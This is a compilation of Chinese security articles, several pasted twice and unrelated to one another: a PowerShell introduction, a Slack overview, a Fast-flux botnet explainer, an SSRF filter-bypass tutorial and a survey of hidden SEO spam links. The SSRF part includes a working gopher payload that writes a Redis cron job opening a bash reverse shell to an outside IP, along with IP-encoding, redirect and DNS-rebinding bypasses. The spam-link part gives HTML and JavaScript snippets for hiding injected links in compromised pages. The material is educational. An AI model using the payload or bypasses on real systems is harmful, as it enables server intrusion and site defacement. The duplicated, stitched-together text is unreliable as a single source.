一、介绍

PowerShell是微软开发的一款任务自动化和配置管理工具,目的是让管理员高效地完成对系统及应用程序的管理和控制,包括Windows PowerShell和PowerShell Core。在设计之初,PowerShell仅作为Windows组件存在,即Windows PowerShell;2016年8月18日,微软将PowerShell开源,并发布PowerShell Core,实现了跨平台,可在Linux上和macOS系统上安装使用。

PowerShell由命令语言解释器(Shell)和基于.NET Framework\.NET Core 的脚本语言组成。

作为命令解释程序, PowerShell有别于传统基于文本的Shell,它接受与返回的都是.NET对象,是基于面向对象的Shell,具有可扩展性。PowerShell的命令叫做cmdlet(command-let), 采用了“动词-名词”的命名方式,动词部分取自于一个制定的动词集合,名词部分则描述了命令要操作的对象。例如,Get-Command就是指获取PowerShell中所有cmdlet命令。PowerShell提供对COM(组件对象模型)和WMI(Windows管理规范)的完全访问,具有丰富的控制与自动化的系统管理能力,能够轻松地做到实时、大规模的管理系统。

作为一种面向对象的脚本语言,PowerShell构建在.NET平台之上,可以直接调用.NET类库、创建.NET对象,同时支持用于循环、条件、流控制和变量赋值的语言结构,其语法功能和关键字与C# 编程语言中所使用的十分类似。PowerShell脚本文件扩展名为.ps1, 初次执行时,默认安全设置禁用了执行脚本,需要以管理员权限更改执行策略。

二、安装及运行环境。

从Windows 7和Windows Server 2008开始,Windows操作系统默认安装对应版本的Windows PowerShell,目前PowerShell共有6个版本。升级Windows PowerShell需要安装对应的Windows Management Framework(WMF)版本,参考表1。在使用PowerShell之前,确保有.NET及其他依赖环境(Windows系统一般已默认安装),可参考官方说明[1]。Windows10初始版本默认安装了PowerShell 5.0,经过Windows 更新后,则会升级为5.1。PowerShell 6(PowerShell Core 6.0)支持Windows、Linux和macOS操作系统,用户可在GitHub上下载对应操作系统的PS版本,安装步骤可参考对应说明文档[2]。

ps1.png

在Windows操作系统上,PowerShell 有两类环境:交互式运行环境和集成脚本环境(ISE)。Windows 10中,通过“开始”—>“Windows附件”—>“Windows PowerShell”—>“Windows PowerShell”可打开交互式运行环境,如图1所示。在控制台上,可以直接执行PowerShell命令, PowerShell支持Tab键命令自动补全。

ps2.png

     图1 PowerShell 交互式运行环境

通过“开始”—>“ Windows附件”—>“Windows PowerShell” —>“Windows PowerShell ISE”可打开集成脚本环境,如图2所示。

ps3.png

图2 PowerShell 集成脚本环境

PowerShell集成脚本环境支持编辑、运行、测试和调试脚本,编写好的程序可保存为.ps1文件。但Windows系统默认不允许执行.ps1文件,需要以管理员权限修改执行策略,如图3所示,键入set-executionpolicy -executionpolicy unrestricted即可。更改执行策略后,可在控制台上执行.ps1文件,如图4所示。PowerShell脚本执行权限本意是一种安全设置,防止恶意脚本的运行,但仍然有许多方法能绕过执行策略,即使没有管理员权限也可以运行PowerShell脚本,读者可自行探索。

ps4.png

图3 修改执行策略

ps5.png

图4 执行.ps1脚本

三、总结

PowerShell与操作系统深度融合,拥有强大的自动化系统管理能力,让操作系统的可控制程度达到了新的高度,成为运维人员日益青睐的工具。此外,不少安全人员也开发出基于PowerShell的渗透测试与分析工具,例如PowerShell Empire,PowerSploit等。然而,PowerShell丰富的系统控制功能、原生支持Windows操作系统、能够不写入磁盘文件,在内存中直接运行代码等特点,也使它逐渐变为恶意代码的温床。安全公司CaronBlack在2016年研究报告指出,高达38%的复合恶意软件攻击开始将PowerShell作为工具之一,其中61%恶意软件用于与C&C通信。在近年来流行的无文件持久化攻击中,PowerShell也扮演了重要的攻击角色,包括远程下载、进程注入、ShellCode执行与加解密等。在攻防双方,PowerShell已逐步成为最受欢迎的工具之一,有着广阔的发展空间,值得我们探索与学习。

四、参考

[1] https://docs.microsoft.com/en-us/powershell/scripting/setup/windows-powershell-system-requirements?view=powershell-5.1

[2] PowerShell 6下载地址 https://github.com/powershell/powershell#get-powershell

[3] https://docs.microsoft.com/en-us/powershell/index?view=powershell-5.1

一、介绍

PowerShell是微软开发的一款任务自动化和配置管理工具,目的是让管理员高效地完成对系统及应用程序的管理和控制,包括Windows PowerShell和PowerShell Core。在设计之初,PowerShell仅作为Windows组件存在,即Windows PowerShell;2016年8月18日,微软将PowerShell开源,并发布PowerShell Core,实现了跨平台,可在Linux上和macOS系统上安装使用。

PowerShell由命令语言解释器(Shell)和基于.NET Framework\.NET Core 的脚本语言组成。

作为命令解释程序, PowerShell有别于传统基于文本的Shell,它接受与返回的都是.NET对象,是基于面向对象的Shell,具有可扩展性。PowerShell的命令叫做cmdlet(command-let), 采用了“动词-名词”的命名方式,动词部分取自于一个制定的动词集合,名词部分则描述了命令要操作的对象。例如,Get-Command就是指获取PowerShell中所有cmdlet命令。PowerShell提供对COM(组件对象模型)和WMI(Windows管理规范)的完全访问,具有丰富的控制与自动化的系统管理能力,能够轻松地做到实时、大规模的管理系统。

作为一种面向对象的脚本语言,PowerShell构建在.NET平台之上,可以直接调用.NET类库、创建.NET对象,同时支持用于循环、条件、流控制和变量赋值的语言结构,其语法功能和关键字与C# 编程语言中所使用的十分类似。PowerShell脚本文件扩展名为.ps1, 初次执行时,默认安全设置禁用了执行脚本,需要以管理员权限更改执行策略。

二、安装及运行环境。

从Windows 7和Windows Server 2008开始,Windows操作系统默认安装对应版本的Windows PowerShell,目前PowerShell共有6个版本。升级Windows PowerShell需要安装对应的Windows Management Framework(WMF)版本,参考表1。在使用PowerShell之前,确保有.NET及其他依赖环境(Windows系统一般已默认安装),可参考官方说明[1]。Windows10初始版本默认安装了PowerShell 5.0,经过Windows 更新后,则会升级为5.1。PowerShell 6(PowerShell Core 6.0)支持Windows、Linux和macOS操作系统,用户可在GitHub上下载对应操作系统的PS版本,安装步骤可参考对应说明文档[2]。

ps1.png

在Windows操作系统上,PowerShell 有两类环境:交互式运行环境和集成脚本环境(ISE)。Windows 10中,通过“开始”—>“Windows附件”—>“Windows PowerShell”—>“Windows PowerShell”可打开交互式运行环境,如图1所示。在控制台上,可以直接执行PowerShell命令, PowerShell支持Tab键命令自动补全。

ps2.png

     图1 PowerShell 交互式运行环境

通过“开始”—>“ Windows附件”—>“Windows PowerShell” —>“Windows PowerShell ISE”可打开集成脚本环境,如图2所示。

ps3.png

图2 PowerShell 集成脚本环境

PowerShell集成脚本环境支持编辑、运行、测试和调试脚本,编写好的程序可保存为.ps1文件。但Windows系统默认不允许执行.ps1文件,需要以管理员权限修改执行策略,如图3所示,键入set-executionpolicy -executionpolicy unrestricted即可。更改执行策略后,可在控制台上执行.ps1文件,如图4所示。PowerShell脚本执行权限本意是一种安全设置,防止恶意脚本的运行,但仍然有许多方法能绕过执行策略,即使没有管理员权限也可以运行PowerShell脚本,读者可自行探索。

ps4.png

图3 修改执行策略

ps5.png

图4 执行.ps1脚本

三、总结

PowerShell与操作系统深度融合,拥有强大的自动化系统管理能力,让操作系统的可控制程度达到了新的高度,成为运维人员日益青睐的工具。此外,不少安全人员也开发出基于PowerShell的渗透测试与分析工具,例如PowerShell Empire,PowerSploit等。然而,PowerShell丰富的系统控制功能、原生支持Windows操作系统、能够不写入磁盘文件,在内存中直接运行代码等特点,也使它逐渐变为恶意代码的温床。安全公司CaronBlack在2016年研究报告指出,高达38%的复合恶意软件攻击开始将PowerShell作为工具之一,其中61%恶意软件用于与C&C通信。在近年来流行的无文件持久化攻击中,PowerShell也扮演了重要的攻击角色,包括远程下载、进程注入、ShellCode执行与加解密等。在攻防双方,PowerShell已逐步成为最受欢迎的工具之一,有着广阔的发展空间,值得我们探索与学习。

四、参考

[1] https://docs.microsoft.com/en-us/powershell/scripting/setup/windows-powershell-system-requirements?view=powershell-5.1

[2] PowerShell 6下载地址 https://github.com/powershell/powershell#get-powershell

[3] https://docs.microsoft.com/en-us/powershell/index?view=powershell-5.1

最近出现了一款火爆的SaaS应用—Slack,公司成立仅 4年,活跃账户580万个,公司估值高达90亿美元。Slack 是一款企业通讯工具,它类似于我们平常用的聊天工具QQ、微信(面向个人)。仅仅是一款聊天工具而已,这款产品为什么能如此火爆?这还要从它的几个特色功能说起。 

1.1.png

(a) QQ主界面

1.2.png

(b)  Slack主界面

图1 QQ主界面与Slack主界面对比

1.     聊天群组(如图1(b)所示):

Slack聊天主要是群组聊天。企业/团队可以根据不同的部门或者项目创建多个聊天室,Slack将这些聊天室起名为“频道(Channels)”。把项目成员加入到特定聊天室就可以一起协同办公,这和QQ讨论组/群很类似。但是惊喜的是,公开的聊天室(图2)可以被搜索到,即使你不是成员之一,而且点击频道后,还可以查看聊天室内的所有历史聊天内容(包括上传文件等),并能随时加入到聊天室进行讨论。这增加了工作透明性,能及时了解其他部门或者项目的工作内容及工作方式。当然,如果私密性的话题也可以直接发送信息给个人(Dirct Messages),这和QQ/微信很相像。

2.png

图2 群组聊天(channels)

2.     文件整合:

Slack用户在所有聊天室中发过的文件都能在一个地方统一索引管理,也可以给文件做标记,方便文件能随时被搜索到。

3.     云存储和统一搜索:

Slack的聊天消息存储在云端,如果用户更换了工作地点或者工作设备,依然可以查看消息历史记录,不影响正常办公。此外,Slack的搜索功能非常强大,搜索关键字可以加各种限定条件;搜索范围也不仅限于用户所在的聊天室,也包括公开的聊天室(在“聊天群组”中提到);搜索内容支持聊天室、直接发送的消息、通知、文件等的跨类搜索,甚至能直接搜索第三方服务的内容,能帮助用户精准地找到所需要的文件。

3.1.jpg3.2.png

图3 Slack搜索功能

4.     大规模工具集成:

以第三方应用为中心的可扩展性是Slack的核心特色功能Slack将工作中所有碎片化的信息接口统统整合在一起(详见SlackAppDirectory),使得用户可直接在会话窗口快速调用第三方应用、收发第三方应用的通知,完成信息即时通讯、收发邮件、文件存储等各种类型工作,避免了用户频繁在不同应用中切换的不便,提高了企业/团队的内部协作效率及信息的利用率。例如,如果集成了Dropbox或者Google Drive,在默认情况下,Slack用户可以在聊天室中直接上传和储存文件,而不需要切换到其他程序窗口进行操作。Slack已经同HerokuZendeskGoogle Drive等第三方服务合作,整合了电子邮件、短信、GitHub 65 种主流工具和服务,集成应用也多达数千个。Slack也成立开发者资金 Slack Fund,以支持第三方开发者推出 Slack 优先的应用。

4.png

图4 Slack应用目录(App Directory)

5.     机器人功能:

 机器人功能一般由第三方开发,它们的作用不仅是聊天,更多的是要通过聊天的方式帮助使用者完成各种任务,就如同苹果的“siri”一样。在Slack 上比较火爆的 bot 应用有GeekbotNikabotGrowbot等。以Geekbot为例,Geekbot 可以在 Slack 里,每天定时与团队成员沟通特定问题,然后将成员的回答发布到 特定的聊天室中,让所有成员看到,极大提高了团队的管理效率。Slack还发布了开发框架Botkit,开发者不再需要重复编写一些基本的功能代码(应用鉴权、消息的收发与处理等)就能开发bot自身的核心功能,简化了第三方应用的开发工作。

我们这里只介绍了冰山一隅,更多Slack功能,感兴趣的可以下载安装体验。

同时,我们也注意到Slack强大的第三方应用集成功能归功于其以应用程序接口(Application Programming InterfaceAPI)为中心的可扩展性,但这也为恶意攻击者提供了便利接口,如黑客可利用API构建自己的命令控制信道。公司在考虑Slack功能发展及多样性时,也应采取多种安全保护措施防止API被滥用。

参考文章

1.     https://slack.com/

2.     http://www.svinsight.com/reading/slack-message-appforteam.html

3.     http://haitou.blog.caixin.com/archives/161079

4.     http://www.sohu.com/a/125309281_450498

*本文作者:ArkTeam/Ariel

最近出现了一款火爆的SaaS应用—Slack,公司成立仅 4年,活跃账户580万个,公司估值高达90亿美元。Slack 是一款企业通讯工具,它类似于我们平常用的聊天工具QQ、微信(面向个人)。仅仅是一款聊天工具而已,这款产品为什么能如此火爆?这还要从它的几个特色功能说起。 

1.1.png

(a) QQ主界面

1.2.png

(b)  Slack主界面

图1 QQ主界面与Slack主界面对比

1.     聊天群组(如图1(b)所示):

Slack聊天主要是群组聊天。企业/团队可以根据不同的部门或者项目创建多个聊天室,Slack将这些聊天室起名为“频道(Channels)”。把项目成员加入到特定聊天室就可以一起协同办公,这和QQ讨论组/群很类似。但是惊喜的是,公开的聊天室(图2)可以被搜索到,即使你不是成员之一,而且点击频道后,还可以查看聊天室内的所有历史聊天内容(包括上传文件等),并能随时加入到聊天室进行讨论。这增加了工作透明性,能及时了解其他部门或者项目的工作内容及工作方式。当然,如果私密性的话题也可以直接发送信息给个人(Dirct Messages),这和QQ/微信很相像。

2.png

图2 群组聊天(channels)

2.     文件整合:

Slack用户在所有聊天室中发过的文件都能在一个地方统一索引管理,也可以给文件做标记,方便文件能随时被搜索到。

3.     云存储和统一搜索:

Slack的聊天消息存储在云端,如果用户更换了工作地点或者工作设备,依然可以查看消息历史记录,不影响正常办公。此外,Slack的搜索功能非常强大,搜索关键字可以加各种限定条件;搜索范围也不仅限于用户所在的聊天室,也包括公开的聊天室(在“聊天群组”中提到);搜索内容支持聊天室、直接发送的消息、通知、文件等的跨类搜索,甚至能直接搜索第三方服务的内容,能帮助用户精准地找到所需要的文件。

3.1.jpg3.2.png

图3 Slack搜索功能

4.     大规模工具集成:

以第三方应用为中心的可扩展性是Slack的核心特色功能Slack将工作中所有碎片化的信息接口统统整合在一起(详见SlackAppDirectory),使得用户可直接在会话窗口快速调用第三方应用、收发第三方应用的通知,完成信息即时通讯、收发邮件、文件存储等各种类型工作,避免了用户频繁在不同应用中切换的不便,提高了企业/团队的内部协作效率及信息的利用率。例如,如果集成了Dropbox或者Google Drive,在默认情况下,Slack用户可以在聊天室中直接上传和储存文件,而不需要切换到其他程序窗口进行操作。Slack已经同HerokuZendeskGoogle Drive等第三方服务合作,整合了电子邮件、短信、GitHub 65 种主流工具和服务,集成应用也多达数千个。Slack也成立开发者资金 Slack Fund,以支持第三方开发者推出 Slack 优先的应用。

4.png

图4 Slack应用目录(App Directory)

5.     机器人功能:

 机器人功能一般由第三方开发,它们的作用不仅是聊天,更多的是要通过聊天的方式帮助使用者完成各种任务,就如同苹果的“siri”一样。在Slack 上比较火爆的 bot 应用有GeekbotNikabotGrowbot等。以Geekbot为例,Geekbot 可以在 Slack 里,每天定时与团队成员沟通特定问题,然后将成员的回答发布到 特定的聊天室中,让所有成员看到,极大提高了团队的管理效率。Slack还发布了开发框架Botkit,开发者不再需要重复编写一些基本的功能代码(应用鉴权、消息的收发与处理等)就能开发bot自身的核心功能,简化了第三方应用的开发工作。

我们这里只介绍了冰山一隅,更多Slack功能,感兴趣的可以下载安装体验。

同时,我们也注意到Slack强大的第三方应用集成功能归功于其以应用程序接口(Application Programming InterfaceAPI)为中心的可扩展性,但这也为恶意攻击者提供了便利接口,如黑客可利用API构建自己的命令控制信道。公司在考虑Slack功能发展及多样性时,也应采取多种安全保护措施防止API被滥用。

参考文章

1.     https://slack.com/

2.     http://www.svinsight.com/reading/slack-message-appforteam.html

3.     http://haitou.blog.caixin.com/archives/161079

4.     http://www.sohu.com/a/125309281_450498

*本文作者:ArkTeam/Ariel

*本文原创作者:ArkTeam/JW本文属FreeBuf原创奖励计划,未经许可禁止转载

一、背景

在早期的僵尸网络中,控制者通常会把C&C服务器的域名或者IP地址硬编码到恶意程序中,僵尸主机通过这些信息定时访问C&C主机获取命令。但同时安全人员也能够通过逆向恶意程序,得到C&C服务器的域名或者IP,利用这些信息定位C&C主机,安全人员就可以隔断C&C主机从而破坏僵尸网络。不少控制者为了保护C&C主机,使用Fast-flux技术来提高C&C服务器的健壮性。

二、基本概念

在正常的DNS服务器中,用户对同一个域名做DNS查询,在较长的一段时间内,无论查询多少次返回的结果基本上是不会改变的。Fast-flux技术是指不断改变域名和IP地址映射关系的一种技术,也就是说在短时间内查询使用Fast-flux技术部署的域名,会得到不同的结果。图2-1为Fast-flux技术工作方式。

 11.png

图2-1 客户端访问Fast-flux网络流程

客户端两次访问www.example.com的过程如下:

1) 为了得到网站www.example.com的IP地址,客户端发起DNS查询。

2) 随后DNS服务器返回了一个IP地址1.2.3.4,同时TTL为一个很小的数值。

3) 客户端访问IP为1.2.3.4的服务器获取内容。

4) IP为1.2.3.4的服务器响应请求,返回相应内容。

5) 客户端再次访问www.example.com,由于TTL过小,本地缓存的DNS记录失效,客户端需要再次向DNS服务器获取新的IP地址。

6) 此次DNS服务器返回了IP 4.3.2.1,这次的TTL仍然很小。

7) 客户端访问IP为4.3.2.1的服务器获取内容。

8) IP为4.3.2.1的服务器响应请求,返回相应内容。

客户端在短时间内多次访问www.example.com网站时,虽然域名相同,但是实际访问的服务器主机是不同的,这就是Fast-flux网络的工作过程。

三、Fast-flux技术在僵尸网络中的具体使用方式

在僵尸网络中,Fast-flux从技术上可分为两类:Single-Flux 和Double-Flux

 Single-Flux:

Single-Flux模式是指只有一层的变化的Fast-flux。在Single-Flux中,一个域名拥有一个不断变化的IP地址列表,这个列表可能会有几百到上千条。为了实现频繁的变化IP地址,控制者提供最底层域名服务器,这个服务器会返回频繁变化的C&C服务器IP地址。如果在别人提供的域名服务器中频繁更改域名的IP地址列表,容易被管理者检测出来,导致僵尸网络暴露。Single-Flux的工作步骤流程如图3-1所示:

 22.png

图 3-1 Single-Flux流程图

 Double-Flux:

Double-Flux网络跟名字中的意思一样,比Single-Flux多一层变化。在Double-Flux中,控制者会部署多个解析C&C服务器域名的底层域名服务器,并不断修改顶级域名服务器中,对应的底层域名服务器的IP地址,这样每次解析C&C服务器域名的底层域名服务器也会变化。由于顶级域名服务器不是控制者所有,为了避免僵尸网络暴露,域名服务器IP地址修改的频率比C&C服务器IP的修改频率低很多。图3-2为Double-Flux流程

 33.png

图 3-2 Double-Flux流程图

Fast-flux僵尸网络有着大量的C&C主机,且大部分C&C主机不是控制者所有的,而是控制者控制的僵尸主机,控制者如果想要发布命令给所有C&C主机会非常困难。所以在真正的Fast-flux僵尸网络中,真正保存有控制命令的C&C主机很少(通常称为Mothership),其他的C&C主机都是假的C&C主机,只提供命令转发和跳板的功能。一个完整的Fast-flux网络如图3-3所示。

 44.png

图 3-3 Fast-flux僵尸网络

1-2)被控主机向顶级DNS服务器发送请求,询问僵尸网络的DNS服务器地址。

3-4)被控主机向僵尸网络的DNS服务器发送请求,询问C&C跳板域名的当前IP地址。

5-6)被控主机访问IP为1.2.3.4的主机获取控制命令,但这个主机不会提供任何实质性的控制命令,它是充当一个代理或者跳板的角色。它将被控主机的请求转交给母体(Mothership)(真正的C&C主机)去处理。

7-8)母体取出控制者最新发布的命令,返回给1.2.3.4主机,1.2.3.4主机再将结果返回转交给被控主机。

四、Fast-flux僵尸网络的优点

Fast-flux技术在僵尸网络中存在三个明显的优势:

第一,Fast-flux技术在合法的和非法的犯罪运营中都存在,检测困难。Fast-flux技术在合法的运营中扮演调节服务器压力的角色,是每个网站都必备的功能。

第二,对于犯罪运营中,仅仅需要少量的高性能母体(mothership)主机,用于提供C&C服务。而僵尸主机的数据请求连接的是Fast-flux网络,隐藏了实际的犯罪证据。在安全人员追踪僵尸网络时,通常只能最终到Fast-flux中的部分节点,在这些节点中没有真正的控制命令,这使得对网络犯罪的调查变得更加困难。

第三,Fast-flux延长了母体C&C服务器的生命期,由于多层的跳板,使得安全人员需要更长的时间用于识别和关闭C&C服务器。

五、Fast-flux僵尸网络的检测

安全人员对Fast-flux僵尸网络检测取决于对DNS查询结果的多次分析,需要通过算法评分机制来评估DNS记录,分析每个DNS查询返回的IP情况,A地址,NS资源数等相关信息来检测,这些分析方法工作量巨大,且准确率不高。

六、总结

Fast-flux已经成为一种隐藏C&C服务器以及延长僵尸网络生命周期的必备技术,借助该技术,僵尸网络的控制者们向互联网安全发起了新一轮的挑战。

七、参考文献

[1] https://en.wikipedia.org/wiki/Fast_flux

[2] http://www.honeynet.org/node/144

[3] http://safe.zol.com.cn/411/4112749_all.html

[4] 靳冲. Fast-Flux网络检测与分析技术研究[D]. 中国科学院研究生院 中国科学院大学, 2011.

[5] 李晓茹.速变网络的自动化智能检测方法[J].内江师范学院学报,2013,(12):12-14.

[6] 汪洋.Fast-flux服务网络检测方法研究[D].导师:李芝棠.华中科技大学,2009.

*本文原创作者:ArkTeam/JW本文属FreeBuf原创奖励计划,未经许可禁止转载

一、SSRF简介

SSRF(Server-Side Request Forgery,服务器端请求伪造):通俗的来说就是我们可以伪造服务器端发起的请求,从而获取客户端所不能得到的数据。SSRF漏洞形成的原因主要是服务器端所提供的接口中包含了所要请求的内容的URL参数,并且未对客户端所传输过来的URL参数进行过滤。这个漏洞造成的危害有:

(1)、可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;

(2)、攻击运行在内网或本地的应用程序(比如溢出);

(3)、对内网Web应用进行指纹识别,通过访问默认文件实现;

(4)、攻击内外网的Web应用,主要是使用Get参数就可以实现的攻击(比如Struts2漏洞利用,SQL注入等);

(5)、利用File协议读取本地文件。

一般的防御措施是对URL参数进行过滤,或者使得URL参数用户不可控。

二、绕过SSRF过滤的几种方法

下文出现的192.168.0.1,10.0.0.1全部为服务器端的内网地址。

1、更改IP地址写法

一些开发者会通过对传过来的URL参数进行正则匹配的方式来过滤掉内网IP,如采用如下正则表达式:

^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$

^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$

^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$

对于这种过滤我们可以采用改编IP的写法的方式进行绕过,例如192.168.0.1这个IP地址我们可以改写成:

(1)、8进制格式:0300.0250.0.1

(2)、16进制格式:0xC0.0xA8.0.1

(3)、10进制整数格式:3232235521

(4)、16进制整数格式:0xC0A80001

还有一种特殊的省略模式,例如10.0.0.1这个IP可以写成10.1

2、利用解析URL所出现的问题

在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当,导致可以绕过过滤。

http://[email protected]/

当后端程序通过不正确的正则表达式(比如将http之后到com为止的字符内容,也就是www.baidu.com,认为是访问请求的host地址时)对上述URL的内容进行解析的时候,很有可能会认为访问URL的host为www.baidu.com,而实际上这个URL所请求的内容都是192.168.0.1上的内容。

3、利用302跳转

如果后端服务器在接收到参数后,正确的解析了URL的host,并且进行了过滤,我们这个时候可以使用302跳转的方式来进行绕过。

(1)、在网络上存在一个很神奇的服务,http://xip.io 当我们访问这个网站的子域名的时候,例如192.168.0.1.xip.io,就会自动重定向到192.168.0.1。

(2)、由于上述方法中包含了192.168.0.1这种内网IP地址,可能会被正则表达式过滤掉,我们可以通过短地址的方式来绕过。经过测试发现新浪,百度的短地址服务并不支持IP模式,所以这里使用的是http://tinyurl.com所提供的短地址服务,如下图所示:

1.png

同样的,我们也可以自行写一个跳转的服务接口来实现类似的功能。

4、通过各种非HTTP协议:

如果服务器端程序对访问URL所采用的协议进行验证的话,可以通过非HTTP协议来进行利用。

(1)、GOPHER协议:通过GOPHER我们在一个URL参数中构造Post或者Get请求,从而达到攻击内网应用的目的。例如我们可以使用GOPHER协议对与内网的Redis服务进行攻击,可以使用如下的URL:

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1* * * * bash -i >& /dev/tcp/172.19.23.228/23330>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

(2)、File协议:File协议主要用于访问本地计算机中的文件,我们可以通过类似file:///文件路径这种格式来访问计算机本地文件。使用file协议可以避免服务端程序对于所访问的IP进行的过滤。例如我们可以通过file:///d:/1.txt 来访问D盘中1.txt的内容

5DNS Rebinding

对于常见的IP限制,后端服务器可能通过下图的流程进行IP过滤:

2.png

对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就pass掉。

但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间查,利用这个时间差,我们可以进行DNS 重绑定攻击。

要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0。这样就可以进行攻击了,完整的攻击流程为:

(1)、服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP

(2)、对于获得的IP进行判断,发现为非黑名单IP,则通过验证

(3)、服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。

(4)、由于已经绕过验证,所以服务器端返回访问内网资源的结果。

三、总结

         总的来说,造成能够绕过服务器端检查的原因是在服务器对资源进行请求的时候对URL的验证出现了纰漏,除了上述已知的方法外可能还有不同的方法,但是万变不离其宗。同时,在程序员进行开发的同时,尽量使用白名单的方式来进行过滤,能够较大程度上的保证安全性。

*本文作者:ArkTeam,转载请注明FreeBuf.COM

* 原创作者:ArkTeam/XJ,本文属FreeBuf原创奖励计划,未经许可禁止转载

一、介绍

暗链也称黑链,即隐蔽链接是黑帽SEO的作弊手法之一,其目的就是利用高权重网站外链来提升自身站点排名。 一般来说,暗链是由攻击者入侵网站后植入的,暗链在网页页面上不可见或者极易被忽略,但是搜索引擎仍然可以通过分析网页的源代码收录这些链接,如果有大量网站甚至一些高权重的网站都链向它们,积少成多,可以迅速提高权重,获得高额流量。暗链指向的网站绝大多数是博彩、非法游戏私服、虚假医疗、办证等黑灰色产业,其中博彩类域名数量最多。而暗链宿主往往是权重较高的网页,例如政府网站、教育网站等。

14945156062397.png!small

正常的网站首页

查看源代码

14945155863934.png!small

隐藏了黑链的源代码

二、暗链隐藏方式

暗链主要利用CSS、JS来控制链接的隐藏方式,通过对大量样本的分析,本文总结了几种常用挂暗链的手法。

1、  接位于可见范围之外。可以将position位置属性设置成负数,则链接无法显示在可见页面之内。

<divstyle="position:absolute;left:expression_r(1-900);top:expression_r(3-999);"><a href="暗链">关键词</a></div> 

<div style="position:absolute; top:-999px;right:-999px;"><a herf="暗链">关键词</a></div> 

<div style="text-indent:-9999em; display:block;float:left"><aherf="暗链">关键词</a></div> 元素向前缩进为负值,即在可见范围之外

2、链接颜色与背景色相同,链接文字使用低像素。

 <a herf=# style="color:#FFFFFF; ">关键词</a>
 <a herf=# style="font-size:1px;">关键词</a>
 <a herf=# style="line-height:1px;">关键词</a>

3、利用跑马灯marquee属性,链接以跑马灯形式迅速闪现,跑马灯的长宽设置很小,同时将闪现的频率设置很大,使得查看页面时不会有任何影响。

<marquee height=1width=4 scrollamount=3000scrolldelay=20000><a href= "暗链">关键字</a></marquee>

4、利用display:none和visibility:hidden隐藏区域里的内容。

<divstyle="display:none;"><a href="暗链">关键字  </a></div>
<div style="visibility:hidden;"><a href="暗链">关键字  </a></div>

以上四种是惯用的挂暗链的方法,但目前的搜索引擎也开始对这些方法进行识别和打击,如果代码没有任何处理的话,那么这些外链将有可能全部被降权。即便如此,这几种仍然是目前最常见的暗链隐藏方法。为了不被搜索引擎识别,攻击者利用JS向页面中写入ccs样式,并设置其属性,见5,6。由于搜索引擎对这种JS代码的内部实质意义还无法识别,因此也成为了挂暗链的一种常见形式。

5、利用JS向页面中写入ccs样式。

<script language="javascript" type="text/javascript">
document.write("<div style='display:none;'>");</script><div><ahref= "暗链">关键字  </a><script language="javascript" type="text/javascript">
document.write("</div>");</script>

注:除了设置display:none属性外,也可以设置前面我们提到的其他隐藏方法。

6、利用JS修改样式属性

<div id="anlian"> <a href="暗链">关键字</a></div><script language=javascript>
document.getElementById("anlian").style.display="n"+"one"</script>

7、利用遮挡层隐藏暗链。z-index属性可以设置元素的堆叠顺序,z-index值越小其堆叠顺序越靠后,因此可以利用其它层来遮挡暗链。

<divclass="father" style="position:relative">
   <div class="topLever" style="position:absolute;left:0;top:0;z-index:999; width:90%;height:100px;"> 遮挡层:可以放图片等  </div>
   <div class="hideDontent">隐蔽层:可以放暗链</div>
</div>

8、利用iframe创建隐藏的内联框架

<iframe> marginWidth=0 marginHeight=0src="暗链 " frameBorder=0width="226" scrolling=no height=3 name="haitan"></iframe>

marginWidth,marginHeight0 则无法显示内联框,可隐藏暗链。

9、利用重定向机制。在跳转之前的页面写入不相关的链接,通过快速跳转到正常页面,使用户无法察觉。

<script> setTimeout("window.location= "index.html",0.1); </script>
<body leftMargin=0 topMargin=0 scroll=no><div> <a href=“暗链”>关键字 </div></body>

利用setTimeout 在跳转到正常页面index.html之前有0.1s停留在当前页面,页面中的暗链不易被察觉。

<script language="javascript" type="text/javascript"> 
window.location.href="lianjie";
</script> 

10、利用<meta>标签插入链接。位于网页html源码头部内的<meta>标签,提供有关页面的元信息,是搜索引擎判定网页内容的主要根据, 攻击者可以在标签中插入大量与网页不相关的词语以及链接。

<meta http-equiv="refresh" content="1"; url="暗链" />
<meta name="xxxx"content="黑链及描述">

三、总结

以上总结了挂暗链的常用手法,相信还有一些其他方式被攻击者利用,不难发现凡是可以隐藏文本信息的地方都可以挂暗链,比如我们可以通过创建下拉菜单,将非法链接混合在合法菜单之中,如果菜单足够长或者没人去点击的话,也很难察觉。被植入暗链的网页不仅对于网站本身的信誉形象产生负面影响,更严重扰乱了搜索引擎排名机制。为了防止网站被挂黑链,我们还需加强对网站的监管,采取一些防范措施,比如定期查看网站的源代码,使用站长工作检查黑链、死链,定期进行网站漏洞检测、漏洞修复、后门检测等,提高网站安全性等。  

四、参考

[1]http://thief.one/2016/10/09/%E9%BB%91%E5%B8%BDSEO%E4%B9%8B%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/

[2] http://blog.sina.com.cn/s/blog_c206a2c30101e5xq.html

[3] 基于统计机器学习的互联网暗链检测方法

 * 原创作者:ArkTeam/XJ,本文属FreeBuf原创奖励计划,未经许可禁止转载

